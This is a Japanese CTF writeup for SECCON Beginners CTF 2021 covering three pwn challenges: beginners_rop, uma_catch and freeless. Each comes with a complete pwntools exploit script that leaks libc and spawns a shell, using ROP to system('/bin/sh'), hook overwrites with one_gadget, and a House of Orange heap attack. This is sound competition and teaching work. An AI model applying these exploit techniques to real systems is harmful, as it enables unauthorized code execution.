SECCON Beginners CTF 2021 Writeup
目次
成績
etherknotで参加して38位でした。 pwn担当として、beginners_rop, uma_catch, freelessを解きました。
Writeup
pwn/writeup/2021/SECCON_Beginners at main · kisqragi/pwn · GitHub
beginners_rop
よくあるrop問題でした
from pwn import * elf = ELF("./chall") context.binary = elf libc = ELF('./libc-2.27.so') #s = process('./chall', env={'LD_PRELOAD' : './libc-2.27.so'}) s = remote('beginners-rop.quals.beginners.seccon.jp', 4102) pop_rdi = 0x00401283 puts_plt = 0x401070 puts_got = 0x404018 main = 0x401196 ret = 0x40101a offset = 264 payload = b'A' * offset payload += p64(pop_rdi) payload += p64(puts_got) payload += p64(puts_plt) payload += p64(main) s.sendline(payload) s.recvline() libc_addr = u64((s.recvline()[:-1]).ljust(8, b'\00')) - libc.symbols.puts print(hex(libc_addr)) libc.address = libc_addr payload = b'A' * offset payload += p64(pop_rdi) payload += p64(next(libc.search(b'/bin/sh\x00'))) payload += p64(ret) payload += p64(libc.symbols['system']) s.sendline(payload) s.interactive()
uma_catch
libcのアドレスはshowにFSBがあるので利用して__libc_start_main+231を
リークして差分で求めます。
その後はreleaseしたumaに名前がつけられるのでそこを利用します。
nameの位置がfdの位置になるので、fdの位置を__free_hook
にして、one_gadgetを書き込みます。
その後releaseしてfreeを呼び出せば終了です。
from pwn import * elf = ELF("./chall") context.binary = elf libc = ELF("./libc-2.27.so") #s = process('./chall') s = remote('uma-catch.quals.beginners.seccon.jp', 4101) def catch(index): s.sendlineafter('> ', '1') s.sendlineafter('> ', str(index)) s.sendlineafter('> ', 'bay') def naming(index, name): s.sendlineafter('> ', '2') s.sendlineafter('> ', str(index)) s.sendlineafter('> ', name) def show(index): s.sendlineafter('> ', '3') s.sendlineafter('> ', str(index)) return s.recvline()[:-1] def release(index): s.sendlineafter('> ', '5') s.sendlineafter('> ', str(index)) # libc leak catch(0) naming(0, '%{}$p'.format(11)) __libc_start_main_ret = int(show(0).strip(), 16) - 231 libc_base = __libc_start_main_ret - libc.symbols.__libc_start_main print('libcbase:', hex(libc_base)) libc.address = libc_base print('__free_hook:', hex(libc.symbols.__free_hook)) one_gadget = libc_base + 0x4f432 release(0) naming(0, p64(libc.symbols.__free_hook)) catch(0) catch(0) naming(0, p64(one_gadget)) release(0) s.interactive()
freeless
House of Orangeの問題でした。
全く理解はしていません...
MalleusCTFをコピペして解きました。
終了後に勉強します。
from pwn import * elf = ELF('./chall') libc = ELF('./libc-2.31.so') context.binary = elf #s = process('./chall', env={'LD_PRELOAD' : './libc-2.31.so'}) s = remote('freeless.quals.beginners.seccon.jp', 9077) def new(index, size): s.sendlineafter('> ', '1') s.sendlineafter('index: ', str(index)) s.sendlineafter('size: ', str(size)) def edit(index, data): s.sendlineafter('> ', '2') s.sendlineafter('index: ', str(index)) s.sendlineafter('data: ', data) def show(index): s.sendlineafter('> ', '3') s.sendlineafter('index: ', str(index)) s.recvuntil('data: ') return s.recvline()[:-1] A = 0 B = 1 C = 2 D = 3 E = 4 F = 5 G = 6 new(A, 0x10) edit(A, b'a'*0x18+pack(0xd51)) new(B, 0xd30) new(C, 0xd20) unsort = u64(show(C).ljust(8, b'\0')) libc_base = unsort - (0x1ebb80 + 0x60) libc.address = libc_base print('libcbase:', hex(libc_base)) edit(B, b'b'*0xd38+pack(0x2c1)) new(D, 0xd30) edit(D, b'd'*0xd38+pack(0x2c1)) new(E, 0x2a0) edit(D, b'd'*0xd38+pack(0x2a1)+pack(libc.symbols.__malloc_hook)) new(F, 0x290) new(G, 0x290) one_gadget = libc_base + 0xe6c81 edit(G, p64(one_gadget)) new(G+1, 0) s.interactive()